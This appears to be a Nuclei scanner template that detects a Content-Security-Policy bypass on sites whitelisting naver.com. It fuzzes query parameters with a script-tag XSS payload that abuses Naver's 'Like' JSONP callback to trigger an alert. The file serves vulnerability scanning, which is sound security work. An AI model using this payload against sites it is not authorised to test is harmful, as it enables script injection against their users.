id: naver-like-csp-bypass

info:
  name: Content-Security-Policy Bypass - Naver Like
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,naver-like

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "naver.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: naver_like_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://common.like.naver.com/v1/search/contents?callback=alert&q=x"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "naver_like_csp_xss == true"
# digest: 4a0a0047304502202d5ac0c4e6643d4fe652a01ab6fe9f0f031e41c22f05a439993f5bcd8b9d5724022100ed7426a1ea94558f16b3687997b0de6869cd65244603d6170c3a1f6e9d976bff:922c64590222798bb761d5b6d8e72950